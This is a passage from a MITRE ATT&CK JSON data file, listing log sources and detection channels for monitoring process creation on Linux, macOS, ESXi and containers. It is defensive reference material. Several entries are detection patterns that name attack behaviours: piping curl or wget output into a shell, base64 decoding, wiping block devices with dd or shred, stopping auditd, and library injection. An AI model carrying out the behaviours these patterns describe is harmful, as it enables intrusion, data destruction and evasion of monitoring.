            "description": "Refers to the event in which a new process (executable) is initialized by an operating system. This can involve parent-child process relationships, process arguments, and environmental variables. Monitoring process creation is crucial for detecting malicious behaviors, such as execution of unauthorized binaries, scripting abuse, or privilege escalation attempts.. ",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "ics-attack",
                "mobile-attack",
                "enterprise-attack"
            ],
            "x_mitre_version": "2.1",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_log_sources": [
                {
                    "name": "Process",
                    "channel": "None"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "log stream 'eventMessage contains pubsub or broker'"
                },
                {
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "name": "linux:osquery",
                    "channel": "Execution of binary resolved from $PATH not located in /usr/bin or /bin"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Process execution path inconsistent with baseline PATH directories"
                },
                {
                    "name": "macos:endpointsecurity",
                    "channel": "ES_EVENT_TYPE_NOTIFY_EXEC"
                },
                {
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4688"
                },
                {
                    "name": "linux:osquery",
                    "channel": "process_events"
                },
                {
                    "name": "macos:endpointsecurity",
                    "channel": "exec"
                },
                {
                    "name": "macos:osquery",
                    "channel": "processes"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of launchctl with suspicious arguments"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve network tools"
                },
                {
                    "name": "macos:osquery",
                    "channel": "process_events"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve calls to soffice.bin with suspicious macro execution flags"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Process execution of Microsoft Word, Excel, PowerPoint with macro execution attempts"
                },
                {
                    "name": "macos:osquery",
                    "channel": "process reading browser configuration paths"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "exec logs"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "execve: Processes launched with LD_PRELOAD/LD_LIBRARY_PATH pointing to non-system dirs"
                },
                {
                    "name": "macos:endpointsecurity",
                    "channel": "exec: Process execution context for loaders calling dlopen/dlsym"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "EXECVE"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "execution of unexpected binaries during user shell startup"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "launch of Terminal.app or shell with non-standard environment setup"
                },
                {
                    "name": "macos:endpointsecurity",
                    "channel": "ES_EVENT_TYPE_NOTIFY_EXEC with unusual parent-child process relationships from zsh"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve of systemctl or service stop"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve of launchctl or pkill"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process::exec"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Execution of klist, kinit, or tools interacting with ccache outside normal user context"
                },
                {
                    "name": "macos:osquery",
                    "channel": "Execution of non-standard binaries accessing Kerberos APIs"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Electron-based binary spawning shell or script interpreter"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Electron app spawning unexpected child process"
                },
                {
                    "name": "esxi:shell",
                    "channel": "/root/.ash_history or /etc/init.d/*"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve calls with high-frequency or known bandwidth-intensive tools"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "exec or spawn calls to proxy tools or torrent clients"
                },
                {
                    "name": "containers:osquery",
                    "channel": "bandwidth-intensive command execution from within a container namespace"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process launch"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "log stream --info --predicate 'subsystem == \"com.apple.cfprefsd\"'"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "execution of security, sqlite3, or unauthorized binaries"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Unexpected applications generating outbound DNS queries"
                },
                {
                    "name": "linux:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "name": "macos:osquery",
                    "channel": "execve"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Unexpected child process of Safari or Chrome"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve or syscall invoking vm artifact check commands (e.g., dmidecode, lspci, dmesg)"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "execution of system_profiler, ioreg, kextstat with argument patterns related to VM/sandbox checks"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process writes or modifies files in excluded paths"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "com.apple.mail.* exec.*"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "execution of memory inspection tools (lldb, gdb, osqueryi)"
                },
                {
                    "name": "esxi:vobd",
                    "channel": "/var/log/vobd.log"
                },
                {
                    "name": "kubernetes:apiserver",
                    "channel": "kubectl exec or kubelet API calls targeting running pods"
                },
                {
                    "name": "docker:audit",
                    "channel": "Process execution events within container namespace context"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "process persists beyond parent shell termination"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "background process persists beyond user logout"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Execution of scripts or binaries sourced from mail directories (/var/mail, ~/Maildir)"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Preview.app, Safari.app, or Mail.app spawning new processes outside normal patterns"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "process execution across cloud VM"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "systemctl spawning managed processes"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "None"
                },
                {
                    "name": "esxi:shell",
                    "channel": "/var/log/shell.log"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of processes linked to hijacked sessions (e.g., anomalous parent-child process lineage)"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "exec events where web process starts a shell/tooling"
                },
                {
                    "name": "docker:events",
                    "channel": "Docker/Kubernetes audit of exec/attach (kubectl exec) or unexpected child processes inside container"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "exec of osascript, bash, curl with suspicious parameters"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Execution of container management CLIs (docker, crictl, kubectl) or interpreted shells (sh, bash, python) within container context"
                },
                {
                    "name": "macos:endpointsecurity",
                    "channel": "es_event_exec"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Execution of discovery commands targeting backup binaries, processes, or config paths"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Process execution logs showing discovery commands like mdfind, system_profiler, or launchctl list"
                },
                {
                    "name": "macos:osquery",
                    "channel": "process_events OR launchd"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "execve"
                },
                {
                    "name": "macos:osquery",
                    "channel": "launchd or process_events"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process and file events via log stream"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Execution of scripts or binaries spawned from browser processes"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Browser processes launching unexpected interpreters (osascript, bash)"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "exec: Execution of defaults, plutil, or common editors (vim/nano) targeting plist files"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "EXECVE"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process:exec"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Execution of bash, python, or perl processes spawned by browser/email client"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of osascript, bash, or Terminal initiated from Mail.app or Safari"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve of /bin/sh,/bin/bash,/usr/bin/curl,/usr/bin/python by service accounts (e.g., apache, mysql, nobody) immediately after inbound network activity."
                },
                {
                    "name": "macos:osquery",
                    "channel": "parent_name in ('sshd','httpd','screensharingd') spawning shells or scripting runtimes."
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process activity stream"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "SYSCALL record where exe contains passwd/userdel/chage and auid != root"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Post-login execution of unrecognized child process from launchd or loginwindow"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve of base64|openssl|xxd|python|perl with arguments matching Base64 flags"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process command line contains base64, -enc, openssl enc -base64"
                },
                {
                    "name": "macos:endpointsecurity",
                    "channel": "exec: arguments contain Base64-like strings"
                },
                {
                    "name": "esxi:shell",
                    "channel": "commands containing base64, openssl enc -base64, xxd -p"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of process launched via loginwindow session restore"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process: exec + filewrite: ~/.ssh/authorized_keys"
                },
                {
                    "name": "containerd:runtime",
                    "channel": "/var/log/containers/*.log"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of Java apps or other processes with hidden window attributes"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Process Execution"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve on code or jetbrains-gateway with remote flags"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process: code or jetbrains-gateway launching with --tunnel or --remote"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "log stream --predicate 'processImagePath CONTAINS \"curl\" OR \"osascript\"'"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "Execution of dd, shred, wipe targeting block devices"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve of sleep or ping command within script interpreted by bash/python"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve or socket/connect system calls from processes using crypto libraries"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Process using AES/RC4 routines unexpectedly"
                },
                {
                    "name": "linux:osquery",
                    "channel": "execution of known firewall binaries"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "type=EXECVE or SYSCALL for /bin/date, /usr/bin/timedatectl, /sbin/hwclock, /bin/cat /etc/timezone, /bin/cat /proc/uptime"
                },
                {
                    "name": "linux:osquery",
                    "channel": "execve: command like 'date', 'timedatectl', 'hwclock', 'cat /etc/timezone'"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process exec events of systemsetup, date, ioreg with command_line parameters indicating time discovery"
                },
                {
                    "name": "macos:endpointsecurity",
                    "channel": "exec: binary == \"/usr/sbin/systemsetup\" and args contains \"-gettimezone\""
                },
                {
                    "name": "macos:osquery",
                    "channel": "execve: command LIKE '%systemsetup -gettimezone%' OR '%date%'"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "execution of osascript, curl, or unexpected automation"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "exec /usr/bin/pwpolicy"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "socket(AF_PACKET|AF_INET, SOCK_RAW, *), setsockopt(\u2026 SO_ATTACH_FILTER|SO_ATTACH_BPF \u2026), bpf(cmd=BPF_PROG_LOAD), open/openat path=\"/dev/bpf*\" (BSD/macOS-like) or setcap cap_net_raw."
                },
                {
                    "name": "linux:syslog",
                    "channel": "KERN messages about eBPF program load/verify or LSM denials related to bpf."
                },
                {
                    "name": "OpenBSM:AuditTrail",
                    "channel": "open/openat of /dev/bpf*; ioctl BIOCSETF-like operations."
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Exec of tcpdump, rvictl, custom tools linked to libpcap.A.dylib; sysextd/systemextensionsctl events for NetworkExtension content filters."
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "/usr/sbin/postfix, /usr/sbin/exim, /usr/sbin/sendmail"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execution of known flash tools (e.g., flashrom, fwupd)"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "com.apple.firmwareupdater activity or update-firmware binary invoked"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve of system tools like dmidecode, lspci, lscpu, dmesg, systemd-detect-virt"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "exec or spawn of 'system_profiler', 'ioreg', 'kextstat', 'sysctl', or calls to sysctl API"
                },
                {
                    "name": "macos:endpointSecurity",
                    "channel": "ES_EVENT_TYPE_NOTIFY_EXEC"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Suspicious binaries or scripts interacting with authentication binaries (sshd, gdm, login)"
                },
                {
                    "name": "macos:osquery",
                    "channel": "execve: Processes unexpectedly invoking Keychain or authentication APIs"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: execve calls where a browser/webview process is parent and child is interpreter (python, sh, ruby) or downloader (curl, wget)"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process_create: Process creation where parent is Safari/Google Chrome and child is script interpreter or signed-but-unusual helper binary"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "None"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process:launch"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "Shell commands invoked by SQL process such as postgres, mysqld, or mariadbd"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve of smbclient, smbmap, rpcclient, nmblookup, crackmapexec smb"
                },
                {
                    "name": "macos:endpointsecurity",
                    "channel": "ES_EVENT_TYPE_NOTIFY_EXEC: Process execution of \"sharing -l\", \"smbutil view\", \"mount_smbfs\""
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of scp, rsync, curl with remote destination"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "logMessage contains pbpaste or osascript"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve call with argv matching known disk enumeration commands (lsblk, parted, fdisk)"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process launch of diskutil or system_profiler with SPStorageDataType"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "execution of esxcli with args matching 'storage', 'filesystem', 'core device list'"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Mail.app executing with parameters updating rules state"
                },
                {
                    "name": "esxi:shell",
                    "channel": "/var/log/vmkernel.log, /var/log/vmkwarning.log"
                },
                {
                    "name": "macos:endpointsecurity",
                    "channel": "exec: Exec of ffmpeg, avfoundation-based binaries, or custom signed apps accessing camera"
                },
                {
                    "name": "kubernetes:apiserver",
                    "channel": "exec into pod followed by secret retrieval via API"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process_name IN (\"VBoxManage\", \"prlctl\") AND command CONTAINS (\"list\", \"show\")"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "exec srm|exec openssl|exec gpg"
                },
                {
                    "name": "linux:osquery",
                    "channel": "Process execution with LD_PRELOAD or modified library path"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of process with DYLD_INSERT_LIBRARIES set"
                },
                {
                    "name": "linux:Sysmon",
                    "channel": "process creation events linked to container namespaces executing host-level binaries"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process and signing chain events"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "launchservices events for misleading extensions"
                },
                {
                    "name": "fs:fsusage",
                    "channel": "Execution of disguised binaries"
                },
                {
                    "name": "linux:osquery",
                    "channel": "process listening or connecting on non-standard ports"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "launchd services binding to non-standard ports"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve, connect"
                },
                {
                    "name": "esxi:cron",
                    "channel": "process or cron activity"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of binaries with unsigned or anomalously signed certificates"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve logging for /usr/bin/systemctl and systemd-run"
                },
                {
                    "name": "macos:osquery",
                    "channel": "Invocation of osascript or dylib injection"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Execution of files saved in mail or download directories"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of Terminal, osascript, or other interpreters originating from Mail or Preview"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process events"
                },
                {
                    "name": "linux:syslog",
                    "channel": "Unauthorized sudo or shell access, especially leading to file changes in /var/www or /srv/http"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of unexpected terminal or web scripts modifying /Library/WebServer/Documents"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Execution of CLI tools like psql, mysql, mongo, sqlite3"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Process start of Java or native DB client tools"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "loginwindow or tccd-related entries"
                },
                {
                    "name": "macos:osquery",
                    "channel": "query: process_events, launchd, and tcc.db access"
                },
                {
                    "name": "ebpf:syscalls",
                    "channel": "process execution or network connect from just-created container PID namespace"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Execution of pip, npm, gem, or similar package managers"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Command line invocation of pip3, brew install, npm install from interactive Terminal"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "fork/exec of service via PID 1 (systemd)"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "Execution of ssh/scp/sftp without corresponding authentication log"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of ssh or sftp without corresponding login event"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: execve where exe=/usr/bin/python3 or similar interpreter"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "launch of remote desktop app or helper binary"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Unexpected processes making network calls based on DNS-derived ports"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "launchctl spawning new processes"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "launchctl activity and process creation"
                },
                {
                    "name": "containerd:events",
                    "channel": "New container with suspicious image name or high resource usage"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of Python, Swift, or other binaries invoking archiving libraries"
                },
                {
                    "name": "linux:osquery",
                    "channel": "Processes linked with libssl or crypto libraries making outbound connections"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Process invoking SSL routines from Security framework"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "Execution of binaries located in /etc/init.d/ or systemd service paths"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of binary listed in newly modified LaunchAgent plist"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of bless or nvram modifying boot parameters"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Unexpected processes registered with launchd"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Process launch"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "execution of curl, osascript, or unexpected Office processes"
                },
                {
                    "name": "macos:osquery",
                    "channel": "exec"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Trust validation failures or bypass attempts during notarization and code signing checks"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "spawned shell or execution environment activity"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process_exec: image in {/bin/bash,/bin/zsh,/usr/bin/osascript,/usr/bin/python*,/usr/bin/curl,/usr/bin/ssh,/usr/bin/open} AND parent in {Preview, TextEdit, Microsoft Word, Microsoft Excel, AdobeReader, Archive Utility, Finder}"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: exe in {/bin/bash,/bin/sh,/usr/bin/python*,/usr/bin/perl,/usr/bin/php,/usr/bin/node,/usr/bin/curl,/usr/bin/wget,/usr/bin/xdg-open,/usr/bin/ssh,/usr/bin/rundll32 (wine)} AND ppid process is a document viewer/browser"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "Execution of dd/sgdisk with arguments writing to sector 0 or partition table"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of zip, ditto, hdiutil, or openssl by processes not normally associated with archiving"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process execution events for chmod, chown, chflags with unusual parameters or targets"
                },
                {
                    "name": "m365:defender",
                    "channel": "AdvancedHunting(DeviceEvents, ProcessCreate, ImageLoad, AMSI/ETW derived signals)"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "execve or dylib load from memory without backing file"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Commands that alter firewall or start listeners: iptables|nft|ufw|firewall-cmd|pfctl|systemctl start sshd/telnet/dropbear; raw-socket/libpcap tools (tcpdump, tshark, nmap --raw)."
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "exec: Execution of pfctl, socketfilterfw, launchctl start ssh/telnet, libpcap consumers."
                },
                {
                    "name": "esxi:shell",
                    "channel": "Shell Execution"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Unusual child process tree indicating attempted recovery after crash"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Execution of binaries/scripts presenting false health messages for security daemons"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of processes mimicking Apple Security & Privacy GUIs"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve, setifflags"
                },
                {
                    "name": "macos:osquery",
                    "channel": "process_events where path like '%tcpdump%'"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "Execution of dd, shred, or wipe with arguments targeting block devices"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "systemctl stop auditd, kill -9 <pid>, or modifications to /etc/selinux/config"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "execution of curl, git, or Office processes with network connections"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "log stream - process subsystem"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve calls for qemu-system*, kvm, or VBoxHeadless"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Process execution for VBoxHeadless, prl_vm_app, vmware-vmx"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process logs"
                },
                {
                    "name": "esxi:shell",
                    "channel": "None"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve of interpreters (python, perl), custom binaries, or shell utilities with long arguments containing non-standard tokens"
                },
                {
                    "name": "macos:endpointsecurity",
                    "channel": "ES_EVENT_TYPE_NOTIFY_EXEC: arguments contain long, non-standard tokens / custom alphabets"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "command line or log output shows non-standard encoding routines"
                },
                {
                    "name": "esxi:shell",
                    "channel": "commands containing long non-standard tokens or custom lookup tables"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of /usr/sbin/installer spawning child process from within /private/tmp or package contents"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "Execution of dpkg or rpm followed by fork/execve from within postinst, prerm, etc."
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "execve: Helper tools invoked through XPC executing unexpected binaries"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "execution of modified binary without valid signature"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: exe in (/usr/bin/bash,/usr/bin/sh,/usr/bin/zsh,/usr/bin/python*) AND cmdline matches '(curl|wget).*(\\||\\|\\s*sh|bash)|base64\\s*-d|python\\s*-c'"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "exec: ParentImage in (Terminal, iTerm2) AND Image in (/bin/zsh,/bin/bash,/usr/bin/python*) AND CommandLine matches '(curl|wget).*(\\||\\|\\s*sh|bash)|base64 -D|python -c'"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process created with repeated ICMP or UDP flood behavior"
                },
                {
                    "name": "fs:fsusage",
                    "channel": "binary execution of security_authtrampoline"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process: exec"
                },
                {
                    "name": "esxi:vmkernel",
                    "channel": "Exec"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Child processes of Safari, Chrome, or Firefox executing scripting interpreters"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of older or non-standard interpreters"
                },
                {
                    "name": "linux:osquery",
                    "channel": "process execution events for permission modification utilities with command-line analysis"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process execution events for chmod, chown, chflags with parameter analysis and target path examination"
                },
                {
                    "name": "macos:osquery",
                    "channel": "process execution monitoring for permission modification utilities with command-line argument analysis"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "Invocation of packet generation tools (e.g., hping3, nping) or fork bombs"
                },
                {
                    "name": "macos:osquery",
                    "channel": "Execution of flooding tools or compiled packet generators"
                },
                {
                    "name": "esxi:hostd",
                    "channel": "process"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve for proxy tools"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process, socket, and DNS logs"
                },
                {
                    "name": "macos:osquery",
                    "channel": "process_events table"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Command line containing `trap` or `echo 'trap` written to login shell files"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "log collect --predicate"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve or nanosleep with no stdout/stderr I/O"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "launchd or osascript spawns process with delay command"
                },
                {
                    "name": "linux:syslog",
                    "channel": "systemd-udevd spawning user-defined action from RUN+="
                },
                {
                    "name": "ebpf:syscalls",
                    "channel": "execve"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process:spawn"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "log stream --predicate 'eventMessage contains \"exec\"'"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "cat|less|grep accessing .bash_history from a non-shell process"
                },
                {
                    "name": "auditd:EXECVE",
                    "channel": "Process execution via .desktop Exec path from /etc/xdg/autostart or ~/.config/autostart"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "Execution of dpkg, rpm, or other package manager with list flag"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of system_profiler or osascript invoking enumeration"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "apache2 or nginx spawning sh, bash, or python interpreter"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "httpd spawning bash, zsh, python, or osascript"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of /usr/libexec/security_authtrampoline or child processes originating from non-trusted binaries triggering credential prompts"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "execution of security or osascript"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "launchd spawning processes tied to new or modified LaunchDaemon .plist entries"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of ping, nping, or crafted network packets via bash or python to reflection services"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve: Execution of commands modifying iptables/nftables to block selective IPs"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "System process modifications altering DNS/proxy settings"
                },
                {
                    "name": "containerd:Events",
                    "channel": "unusual process spawned from container image context"
                },
                {
                    "name": "macos:osquery",
                    "channel": "curl, python scripts, rsync with internal share URLs"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process: spawn, exec"
                },
                {
                    "name": "macos:osquery",
                    "channel": "Rapid spawning of resource-heavy applications (e.g., Preview, Safari, Office)"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Process creation events where command line = pmset with arguments affecting sleep, hibernatemode, displaysleep"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Unexpected apps performing repeated DNS lookups"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "launchservices or loginwindow events"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve with LD_PRELOAD or linker-related environment variables set"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "execution of process with DYLD_INSERT_LIBRARIES set"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Suspicious Swift/Objective-C or scripting processes writing archive-like outputs"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "execve of re-parented process"
                },
                {
                    "name": "linux:osquery",
                    "channel": "Anomalous parent PID change"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Process creation with parent PID of 1 (launchd)"
                },
                {
                    "name": "linux:osquery",
                    "channel": "child process invoking dynamic linker post-ptrace"
                },
                {
                    "name": "macos:osquery",
                    "channel": "Processes executing kextload, spctl, or modifying kernel extension directories"
                },
                {
                    "name": "macos:osquery",
                    "channel": "Unsigned or ad-hoc signed process executions in user contexts"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Execution of diskutil or hdiutil attaching hidden partitions"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process execution events for discovery utilities (system_profiler, sw_vers, dscl, networksetup) with command-line parameter analysis"
                },
                {
                    "name": "macos:osquery",
                    "channel": "process event monitoring with focus on discovery utilities and cryptographic framework usage correlation"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "Unexpected apps generating frequent DNS queries"
                },
                {
                    "name": "macos:unifiedlog",
                    "channel": "process exec"
                },
                {
                    "name": "auditd:SYSCALL",
                    "channel": "socket: Suspicious creation of AF_UNIX sockets outside expected daemons"
                },
                {
